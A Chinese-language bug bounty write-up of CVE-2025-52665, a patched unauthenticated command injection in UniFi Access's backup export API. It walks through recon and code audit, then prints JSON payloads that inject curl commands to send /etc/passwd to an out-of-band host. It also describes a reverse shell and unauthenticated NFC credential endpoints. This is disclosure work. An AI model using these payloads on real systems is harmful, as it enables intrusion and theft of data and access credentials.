在一次安全评估中,我们发现了一个严重的未授权远程代码执行(RCE)漏洞,该漏洞源于一个配置错误的API端点,相关发现获得了25,000美元的奖励。这一发现并非个例,它是一个更广泛问题的一部分,涉及多个未认证的API,这些API缺乏适当的访问控制和输入验证。
本文将详细介绍从初步侦察到识别易受攻击的端点,再到构建可运行的漏洞利用程序,最终实现远程代码执行(RCE)的完整步骤。这一过程突出表明,即使没有预先获得的凭证,多个未经验证的API中存在的不安全设计模式也可能最终导致整个系统被入侵,这凸显了在网络安全研究与渗透测试中,细致的代码审计与攻击面发现的重要性。
信息收集
在一次客户评估中,我们对目标环境进行网络侦察,并发现了192.168.1.1这一活跃主机。通过浏览器访问该IP时,出现了UniFi OS登录界面,这证实该设备运行的是基于UniFi的系统,具体来说是UDM(UniFi Dream Machine SE)系列路由器。
登录界面
为了调查潜在的攻击面,我们查阅了社区报告的与备份操作和API行为相关的问题。我们发现多个论坛帖子提到了与端点/api/ucore/backup/export相关的故障。
在社区中查找错误和API路径
我们观察到,许多用户在多个组件(protect、network、uum等)上遇到了500内部服务器错误、ECONNREFUSED(连接被拒绝)以及备份失败的问题。这有力地表明,备份系统是模块化的,它通过环回API与各种内部服务交互,并且/api/ucore/backup/export这一接口在这些组件中被普遍使用。
这引出了一个关键问题:如果这个端点只能通过127.0.0.1访问,那么它如何能从外部被访问并被利用呢?
代码审计
为了理解其调用路径,我们提取并分析了一个UniFi Core版本的service.js文件,追踪了与“backup/export”相关的引用。两个函数明确了这一流程。
第一个函数YO,构建了一个指向导出路由的环回URL,并以POST方式发送一个包含dir字段的JSON请求体:
var YO = async (e, t) => {
let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,
o = await k(r, {
method: "POST",
body: JSON.stringify({ dir: t }),
headers: { "Content-Type": "application/json" }
});
if (!o.ok) throw new Error(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)
};
JavaScript源代码
这里的(e)是目标应用模块(如Network, Access)监听的端口,(t)是调用方传入的目录路径。在此边界处没有进行任何输入验证;dir的值被直接序列化并发送给内部导出处理程序。
第二个函数zf是更高层的控制器,它决定是从另一台设备获取备份,还是通过调用YO(e, t)触发本地导出:
zf = async ({ port: e, outputDir: t, name: r }) => {
try {
// ... 版本验证等前置检查
if (...) {
// 由另一设备处理备份
} else {
await Fe(() => YO(e, t), ...); // 关键调用点
}
// ... 后续权限处理 (`chmod -R 775`) 和大小检查 (`du -s`)
} catch (o) {
return { success: false, err: _(o) };
}
}
本质上,zf将outputDir参数传入YO,后者再将其传递给运行在localhost的导出端点。
解释流程的图表
代码审计后,我们得出结论:代码执行是可能的。协调器从外部请求接收dir值,未经处理直接转发,而导出处理器在创建备份工作区(使用mktemp, chmod, tar等命令)时,会将该值拼接到shell命令中。由于对dir没有进行验证或转义,shell会将其中的元字符视为新命令。
这阐明了该系统的两个关键特性:
- 敏感的备份操作本不应直接暴露,它监听
127.0.0.1,预期只能由协调器内部调用。
- 它从协调器接收的唯一输入就是
dir参数。
因此,我们需要找到一个能从外部访问、并能被诱导向内部端点发起相同调用的接口。
漏洞利用
在枚举了目标设备192.168.1.1上所有开放的TCP端口后,我们探测了各端口上的/api/ucore/backup/export路径。多个端口返回404,但端口9780回复了405 Method Not Allowed。这表明路由存在但HTTP方法不对,意味着该处理程序可从网络访问,并且如果我们模仿协调器的请求格式发送POST,它很可能会接受。
我们发送了一个包含正确Content-Type: application/json头的POST请求,并仿造了在代码中看到的JSON结构。首次尝试使用了简单的命令注入载荷:
{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

然而,协作服务器并未收到请求。原因在于,导出例程在使用dir参数后,还会继续执行一系列shell操作(mktemp, chmod, tar, du -s)。简单的注入可能因与后续命令的语法冲突而失败。
我们调整了载荷,通过添加分号干净地终止注入的命令,并用#注释掉原始命令行的剩余部分,以中和语法冲突:
{"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"}

经过调整,设备成功向我们的协作服务器发出了HTTP POST请求,我们收到了/etc/passwd文件的内容,确认了命令执行和数据外泄。此外,我们还成功获取了标准的反向shell连接,实现了对目标系统的完全交互式访问,从而演示了完整的漏洞利用链。
被利用的RCE漏洞已深入到UniFi Access系统,可访问门禁控制和NFC凭证管理,导致系统被完全控制。
其他发现
通过交叉参考《UniFi Access API参考》与设备上可访问的Swagger文档,我们还验证了其他未授权访问点。
首先,无需认证即可向/api/v1/user_assets/nfc发送POST请求来创建NFC凭证,服务会直接返回{"code":"CODE_SUCCESS"}。
用户的未授权创建访问权限
更严重的是,一个简单的GET请求/api/v1/user_assets/touch_pass/keys,会返回包含实时移动/NFC访问凭证材料的JSON,包括Apple NFC密钥、TTL以及包含PEM格式私钥的google_pass_auth_key块,整个过程同样无需任何身份验证。
NFC凭证泄露
提交过程与结果
- 报告者: Catchify Security
- 提交时间: 2025年10月9日
- 状态: Ubiquiti 于当日接收并分类
- 修复版本: 已在 UniFi Access 相关版本中修复
- 赏金: $25,000 (非Ubiquiti Cloud目标的最高奖励)
- 公开信息: 厂商公告将包含CVE编号(CVE-2025-52665)并给予完整致谢。
文章参考来源:CVE-2025-52665 - RCE in Unifi Access ($25,000)